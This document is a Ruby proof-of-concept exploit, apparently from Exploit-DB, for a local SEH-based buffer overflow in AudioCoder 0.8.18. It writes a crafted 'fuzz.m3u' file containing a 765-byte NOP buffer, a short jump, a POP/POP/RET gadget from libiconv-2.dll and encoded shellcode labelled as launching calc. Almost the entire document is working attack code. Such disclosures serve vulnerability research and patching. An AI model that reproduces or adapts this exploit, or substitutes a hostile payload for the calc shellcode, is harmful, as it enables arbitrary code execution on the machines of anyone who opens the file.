AudioCoder 0.8.18 – Local Buffer Overflow (SEH)
#!/usr/bin/env ruby # Exploit Title:AudioCoder 0.8.18 Buffer Overflow Exploit (SEH) # Download link :http://www.mediacoderhq.com/getfile.htm?site=dl.mediacoderhq.com&file=AudioCoder-0.8.18.exe # Vulnerable Product:AudioCoder # Date (found): 30.04.2013 # Date (publish): 01.05.2013 # RST # Author: metacom # Version: version 0.8.18 # Category: poc # Tested on: windows 7 German # Exploit-DB Note: # This works on Windows 7 Pro Eng begin #calc shellcode = "\x89\xe0\xdb\xc8\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" + "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" + "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" + "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" + "\x58\x4d\x59\x53\x30\x55\x50\x53\x30\x43\x50\x4d\x59\x5a" + "\x45\x56\x51\x58\x52\x52\x44\x4c\x4b\x50\x52\x56\x50\x4c" + "\x4b\x50\x52\x54\x4c\x4c\x4b\x31\x42\x45\x44\x4c\x4b\x34" + "\x32\x31\x38\x44\x4f\x4f\x47\x51\x5a\x37\x56\x30\x31\x4b" + "\x4f\x50\x31\x49\x50\x4e\x4c\x57\x4c\x35\x31\x33\x4c\x53" + "\x32\x56\x4c\x37\x50\x49\x51\x38\x4f\x54\x4d\x35\x51\x49" + "\x57\x4d\x32\x5a\x50\x36\x32\x36\x37\x4c\x4b\x46\x32\x54" + "\x50\x4c\x4b\x47\x32\x37\x4c\x53\x31\x4e\x30\x4c\x4b\x47" + "\x30\x54\x38\x4b\x35\x49\x50\x42\x54\x51\x5a\x35\x51\x4e" + "\x30\x50\x50\x4c\x4b\x57\x38\x55\x48\x4c\x4b\x36\x38\x31" + "\x30\x45\x51\x59\x43\x4b\x53\x57\x4c\x30\x49\x4c\x4b\x30" + "\x34\x4c\x4b\x55\x51\x4e\x36\x30\x31\x4b\x4f\x50\x31\x49" + "\x50\x4e\x4c\x39\x51\x48\x4f\x34\x4d\x43\x31\x49\x57\x46" + "\x58\x4b\x50\x42\x55\x5a\x54\x43\x33\x43\x4d\x5a\x58\x37" + "\x4b\x33\x4d\x57\x54\x53\x45\x4a\x42\x30\x58\x4c\x4b\x56" + "\x38\x36\x44\x43\x31\x48\x53\x35\x36\x4c\x4b\x54\x4c\x30" + "\x4b\x4c\x4b\x56\x38\x45\x4c\x53\x31\x39\x43\x4c\x4b\x54" + "\x44\x4c\x4b\x35\x51\x4e\x30\x4b\x39\x51\x54\x31\x34\x37" + "\x54\x51\x4b\x51\x4b\x55\x31\x30\x59\x30\x5a\x46\x31\x4b" + "\x4f\x4d\x30\x31\x48\x51\x4f\x50\x5a\x4c\x4b\x42\x32\x4a" + "\x4b\x4b\x36\x51\x4d\x52\x4a\x43\x31\x4c\x4d\x4c\x45\x48" + "\x39\x55\x50\x55\x50\x53\x30\x50\x50\x43\x58\x36\x51\x4c" + "\x4b\x32\x4f\x4d\x57\x4b\x4f\x39\x45\x4f\x4b\x4c\x30\x48" + "\x35\x39\x32\x56\x36\x53\x58\x59\x36\x5a\x35\x4f\x4d\x4d" + "\x4d\x4b\x4f\x38\x55\x57\x4c\x35\x56\x33\x4c\x44\x4a\x4b" + "\x30\x4b\x4b\x4d\x30\x33\x45\x54\x45\x4f\x4b\x50\x47\x42" + "\x33\x33\x42\x42\x4f\x42\x4a\x43\x30\x31\x43\x4b\x4f\x59" + "\x45\x32\x43\x43\x51\x42\x4c\x33\x53\x36\x4e\x43\x55\x43" + "\x48\x55\x35\x43\x30\x41\x41" file = "fuzz.m3u" head = "http://" junk = "\x90" * 765 # Distance to overwrite EIP nseh = "\xEB\x06\x90\x90" # Short (6 bytes) jump! seh = "\xEE\x04\x01\x66" # POP ECX / POP ECX / RETN from libiconv-2.dll nops = "\x90" * 80 textfile = open(file , 'w') textfile.write(head + junk + nseh + seh + nops + shellcode) textfile.close() puts puts " Vulnerable file created!...\n" end |